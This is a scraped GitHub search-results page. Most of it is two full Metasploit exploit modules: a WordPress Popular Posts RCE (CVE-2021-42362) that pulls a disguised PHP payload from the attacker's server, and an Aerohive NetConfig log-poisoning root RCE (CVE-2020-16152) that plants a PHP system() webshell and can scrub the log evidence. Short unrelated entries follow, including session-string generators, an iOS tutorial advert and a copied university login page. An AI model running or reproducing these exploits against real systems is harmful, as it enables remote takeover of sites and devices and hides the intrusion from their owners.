82 skills found · Page 3 of 3
Nate0634034090 / Nate158g M W N L P D A O E### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passed check 1)') # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes. # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Responding to GET request (passed check 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions Rex.sleep(2) # wait for WP to finish all the checks it needs trigger_payload(on_disk_payload_name) end print_status("Received unexpected #{request.method} request") end def check_gd_installed(cookie) vprint_status('Checking if gd is installed') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Retrieving wpp_admin token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Updating popular posts settings for images') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('Clearing image cache') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it. res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creating new post') # get post ID and nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Created Post: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id # publish new post vprint_status("Writing content to Post: #{post_id}") # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adding malicious metadata for redirect to #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirect as needed res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301 print_status("Sending #{post_count} views to #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after> (1..post_count).each do |_c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # just send away, who cares about the response fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res = send_request_cgi( # this URL varies from the POC on EDB, and is modeled after what the browser does 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201 end fail_with(Failure::Unreachable, 'Site not responding') unless res end def get_top_posts print_status('Determining post with most views') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("Top Views: #{views}") views += 5 # make us the top post unless datastore['VISTS'].nil? print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond # which then would kill the exploit, so in this case we just keep trying. (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # load the widget directly (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Invalid login, check credentials') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Payload file name: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie) post_count = get_top_posts # we dont need to pass the cookie anymore since its now saved into http client token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Starting web server to handle request for image payload') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Waiting 90sec for cache refresh by server') Rex.sleep(90) print_status('Attempting to force loading of shell by visiting to homepage and loading the widget') res = get_widget print_good('We made it to the top!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # at this point, we rely on our web server getting requests to make the rest happen endend### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE', 'Description' => %q{ This module exploits LFI and log poisoning vulnerabilities (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a build-242466 and older in order to achieve unauthenticated remote code execution as the root user. NetConfig is the Aerohive/Extreme Networks HiveOS administrative webinterface. Vulnerable versions allow for LFI because they rely on a version of PHP 5 that is vulnerable to string truncation attacks. This module leverages this issue in conjunction with log poisoning to gain RCE as root. Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open. Closing the session should render the app responsive again. The module provides an automatic cleanup option to clean the log. However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed, may render the target (temporarily) unexploitable. This state can last over an hour. This module has been successfully tested against Aerohive NetConfig versions 8.2r4 and 10.0r7a. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik de Jong', # github.com/eriknl - discovery and PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-16152'], # still categorized as RESERVED ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target' } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']), OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable', false]), ] end def auto_clean_log datastore['AUTO_CLEAN_LOG'] end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php5') }) unless res return CheckCode::Unknown('Connection failed.') end unless res.code == 200 && res.body.include?('Aerohive NetConfig UI') return CheckCode::Safe('Target is not an Aerohive NetConfig application.') end version = res.body.scan(/action="login\.php5\?version=(.*?)"/)&.flatten&.first unless version return CheckCode::Detected('Could not determine Aerohive NetConfig version.') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("The target is Aerohive NetConfig version #{version}") else print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.') return CheckCode::Safe("The target is Aerohive NetConfig version #{version}") end rescue StandardError => e return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # Poison /tmp/messages print_status('Attempting to poison the log at /tmp/messages...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages') end print_status('Server responded as expected. Continuing...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('Attempting to clean the log file at /tmp/messages...') print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.') begin # We need remove the line containing the PHP system call from /tmp/messages # The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username. # Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line # The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same: # In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period. line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\ "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c \"#{cmds_to_clean_log}\"") # Wait for cleanup Rex.sleep 5 # Check for the PHP system call in /tmp/messages messages_contents = session.fs.file.open('/tmp/messages').read.to_s # using =~ here produced unexpected results, so include? is used instead unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # Check for the PHP system call in /tmp/messages poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # using =~ here produced unexpected results, so include? is used instead unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("Error during cleanup: #{e.message}") ensure super end unless log_cleaned print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages") end end if log_cleaned print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.') else print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}") print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.') print_warning('Deleting /tmp/messages or clearing out the file may break the application.') end end def execute_command(cmd, _opts = {}) print_status('Attempting to execute the payload') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # Trigger LFI through path truncation @shell_cmd_name => cmd } }, 0) print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('Executing the payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end endend
zawsq / PyrostringPyrogram Fast Session String Generator
mhartl / Catch Cookie ExceptionCatch and handle the CGI::Session::CookieStore::TamperedWithCookie exception that comes from changing the Rails secret string. See http://blog.insoshi.com/2008/08/15/a-security-issue-with-rails-secret-session-keys/
Guru-25 / CodesThis codes help to generate String Session, Google Drive Rclone and Telegra.ph Token.
Gowtham2003 / TgsessionSimple Telethon and GramJS string session generator written in GramJS
YogeshPateliOS / Swift 4 Xcode 11 How To Make URLSession POST Request IOS Hindi.iOS(Video) :- In this video I will teach You Json Post Api using URLSession in Swift 4 & Xcode 11 Hindi. Hello Guys, IF you are here for learning new things in iOS then this is the right place For You.. I am uploading videos on youtube for both Languages Objective-C And Swift in Hindi. I Have already Uploaded 180+ Videos On Youtube, Please Go to my channel, there You can find URL and more interesting topics that I mentioned below :- - All the Basic Stuff like ( Array, String, Dictionary etc..) - All About UITableView , UITableViewCell, TableView Editing and also Selection of cell , Delete, Insert operations , Navigations on click , pass the your data to other ViewController - All About UICollectionView , UICollectionViewCell, UICollectionView Selection of cell , Delete, Insert operations , Navigations on click , pass the your data to other ViewController - How to Pass Data in one view controller to another view controller using (Simple Data Passing, Notification Centre, Protocol and Delegate, Closure etc..) - Local And Badge Notification.. - Animations.. - Live Session For Question and answer - Also I am giving assignments For Your Home Work - All About Architecture like (MVC, MVVM, VIPER, MVP) - iOS InterView Questions For Swift, Objective C, C, C++ - Database :- FIREBASE , CoreData, SQLite - Firebase Uploading and get Images - All About Autolayout ( Adaptive Layout, Content Priority Constrain, MultiPlier , Label Dynamic Width and height, UIStackView etc..) - UISplitViewController, Custom FrameWork - UICollectionViewFlowLayout, iClosure Effect - UITableViewCell Dynamic Height - Mini Project For College And Student Management Using Core Data And Also you can learn the Relationship in Database (CoreData) - It is just an Overview of the Topics… Please Check My youtube channel to learn more interesting topics. Make Sure to SUBSCRIBE my channel and Please confirm that you press ALL Notification when you press the BELL icon Because YOUTUBE says that you can get All Notifications of the Live Sessions , Videos And Community Post Notification If You select ALL. Feel Free to comment me IF You have any query regarding iOS Tutorials and Topics and also give me your suggestions For my videos Or MY channel. So, I can improve my content. Please Like Comment and share … Here is the links of My All the Social Account If You want to connect with me :-) I am Posting in this social account so you can find me there and get the latest iOS and my channel Update.. If you think my efforts are helpful For you and you are learning from this channel then it’s my humble request to you to please Like My FB page and give Your review there, Please endorse my skills in LinkedIn, Follow Me on Quora I am giving QA there and also support My other social account. It’s Motivates me And Feels that I have a Big Family on Youtube. Therefore, I will work even harder For You Guys.. Linkedin :- https://www.linkedin.com/in/yogeshpatelios/ FaceBook Page For Swift And Objective C :- https://www.facebook.com/yogeshios/ Twitter :- https://twitter.com/yogeshpatelios Quora :- https://www.quora.com/profile/YogeshPateliOS Instagram :- https://www.instagram.com/yogeshpatelios/ If you would like to donate :- https://www.paypal.me/YPiOS All Done Dosto.. Thank You For Your Support :-)
thewebdeveloper2017 / Ilearnmacquarie20178<!DOCTYPE html> <html dir="ltr" lang="en" xml:lang="en"> <head> <!-- front --> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>iLearn: Log in to the site</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><script type="text/javascript">window.NREUM||(NREUM={}),__nr_require=function(e,t,n){function r(n){if(!t[n]){var o=t[n]={exports:{}};e[n][0].call(o.exports,function(t){var o=e[n][1][t];return r(o||t)},o,o.exports)}return t[n].exports}if("function"==typeof __nr_require)return __nr_require;for(var o=0;o<n.length;o++)r(n[o]);return r}({1:[function(e,t,n){function r(){}function o(e,t,n){return function(){return i(e,[(new Date).getTime()].concat(u(arguments)),t?null:this,n),t?void 0:this}}var i=e("handle"),a=e(2),u=e(3),c=e("ee").get("tracer"),f=NREUM;"undefined"==typeof window.newrelic&&(newrelic=f);var s=["setPageViewName","setCustomAttribute","setErrorHandler","finished","addToTrace","inlineHit","addRelease"],l="api-",p=l+"ixn-";a(s,function(e,t){f[t]=o(l+t,!0,"api")}),f.addPageAction=o(l+"addPageAction",!0),f.setCurrentRouteName=o(l+"routeName",!0),t.exports=newrelic,f.interaction=function(){return(new r).get()};var d=r.prototype={createTracer:function(e,t){var n={},r=this,o="function"==typeof t;return i(p+"tracer",[Date.now(),e,n],r),function(){if(c.emit((o?"":"no-")+"fn-start",[Date.now(),r,o],n),o)try{return t.apply(this,arguments)}finally{c.emit("fn-end",[Date.now()],n)}}}};a("setName,setAttribute,save,ignore,onEnd,getContext,end,get".split(","),function(e,t){d[t]=o(p+t)}),newrelic.noticeError=function(e){"string"==typeof e&&(e=new Error(e)),i("err",[e,(new Date).getTime()])}},{}],2:[function(e,t,n){function r(e,t){var n=[],r="",i=0;for(r in e)o.call(e,r)&&(n[i]=t(r,e[r]),i+=1);return n}var o=Object.prototype.hasOwnProperty;t.exports=r},{}],3:[function(e,t,n){function r(e,t,n){t||(t=0),"undefined"==typeof n&&(n=e?e.length:0);for(var r=-1,o=n-t||0,i=Array(o<0?0:o);++r<o;)i[r]=e[t+r];return i}t.exports=r},{}],ee:[function(e,t,n){function r(){}function o(e){function t(e){return e&&e instanceof r?e:e?c(e,u,i):i()}function n(n,r,o){if(!p.aborted){e&&e(n,r,o);for(var i=t(o),a=v(n),u=a.length,c=0;c<u;c++)a[c].apply(i,r);var f=s[w[n]];return f&&f.push([y,n,r,i]),i}}function d(e,t){b[e]=v(e).concat(t)}function v(e){return b[e]||[]}function g(e){return l[e]=l[e]||o(n)}function m(e,t){f(e,function(e,n){t=t||"feature",w[n]=t,t in s||(s[t]=[])})}var b={},w={},y={on:d,emit:n,get:g,listeners:v,context:t,buffer:m,abort:a,aborted:!1};return y}function i(){return new r}function a(){(s.api||s.feature)&&(p.aborted=!0,s=p.backlog={})}var u="nr@context",c=e("gos"),f=e(2),s={},l={},p=t.exports=o();p.backlog=s},{}],gos:[function(e,t,n){function r(e,t,n){if(o.call(e,t))return e[t];var r=n();if(Object.defineProperty&&Object.keys)try{return Object.defineProperty(e,t,{value:r,writable:!0,enumerable:!1}),r}catch(i){}return e[t]=r,r}var o=Object.prototype.hasOwnProperty;t.exports=r},{}],handle:[function(e,t,n){function r(e,t,n,r){o.buffer([e],r),o.emit(e,t,n)}var o=e("ee").get("handle");t.exports=r,r.ee=o},{}],id:[function(e,t,n){function r(e){var t=typeof e;return!e||"object"!==t&&"function"!==t?-1:e===window?0:a(e,i,function(){return o++})}var o=1,i="nr@id",a=e("gos");t.exports=r},{}],loader:[function(e,t,n){function r(){if(!h++){var e=y.info=NREUM.info,t=l.getElementsByTagName("script")[0];if(setTimeout(f.abort,3e4),!(e&&e.licenseKey&&e.applicationID&&t))return f.abort();c(b,function(t,n){e[t]||(e[t]=n)}),u("mark",["onload",a()],null,"api");var n=l.createElement("script");n.src="https://"+e.agent,t.parentNode.insertBefore(n,t)}}function o(){"complete"===l.readyState&&i()}function i(){u("mark",["domContent",a()],null,"api")}function a(){return(new Date).getTime()}var u=e("handle"),c=e(2),f=e("ee"),s=window,l=s.document,p="addEventListener",d="attachEvent",v=s.XMLHttpRequest,g=v&&v.prototype;NREUM.o={ST:setTimeout,CT:clearTimeout,XHR:v,REQ:s.Request,EV:s.Event,PR:s.Promise,MO:s.MutationObserver},e(1);var m=""+location,b={beacon:"bam.nr-data.net",errorBeacon:"bam.nr-data.net",agent:"js-agent.newrelic.com/nr-1016.min.js"},w=v&&g&&g[p]&&!/CriOS/.test(navigator.userAgent),y=t.exports={offset:a(),origin:m,features:{},xhrWrappable:w};l[p]?(l[p]("DOMContentLoaded",i,!1),s[p]("load",r,!1)):(l[d]("onreadystatechange",o),s[d]("onload",r)),u("mark",["firstbyte",a()],null,"api");var h=0},{}]},{},["loader"]);</script> <meta name="keywords" content="moodle, iLearn: Log in to the site" /> <link rel="stylesheet" type="text/css" href="https://ilearn.mq.edu.au/theme/yui_combo.php?r1487942275&rollup/3.17.2/yui-moodlesimple-min.css" /><script id="firstthemesheet" type="text/css">/** Required in order to fix style inclusion problems in IE with YUI **/</script><link rel="stylesheet" type="text/css" href="https://ilearn.mq.edu.au/theme/styles.php/mqu/1487942275/all" /> 